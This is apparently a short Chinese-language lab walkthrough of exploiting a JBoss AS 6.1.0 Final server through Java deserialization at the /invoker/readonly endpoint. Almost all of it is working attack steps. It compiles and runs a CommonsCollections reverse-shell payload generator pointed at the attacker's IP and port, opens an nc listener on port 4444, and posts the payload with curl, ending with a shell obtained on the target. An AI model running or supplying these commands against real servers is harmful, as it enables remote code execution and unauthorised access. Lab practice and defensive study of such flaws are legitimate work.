本机IP：192.168.220.145

靶机IP：192.168.220.139，版本为JBOSS AS 6.1.0 Final

首先访问目标地址，http://192.168.220.139:8080/invoker/readonly

返回500，一般存在

执行命令

┌─[root@sch01ar]─[~]└──╼ #cd /sch01ar/JavaDeserH2HC/┌─[root@sch01ar]─[/sch01ar/JavaDeserH2HC]└──╼ #javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java┌─[root@sch01ar]─[/sch01ar/JavaDeserH2HC]└──╼ #java -cp .:commons-collections-3.2.1.jar  ReverseShellCommonsCollectionsHashMap 192.168.220.145:4444Saving serialized object in ReverseShellCommonsCollectionsHashMap.ser

生成了一个ReverseShellCommonsCollectionsHashMap.ser文件

用nc监听4444端口

┌─[✗]─[root@sch01ar]─[~]└──╼ #nc -vlp 4444

发送payload

┌─[root@sch01ar]─[/sch01ar/JavaDeserH2HC]└──╼ #curl http://192.168.220.139:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

nc成功返回shell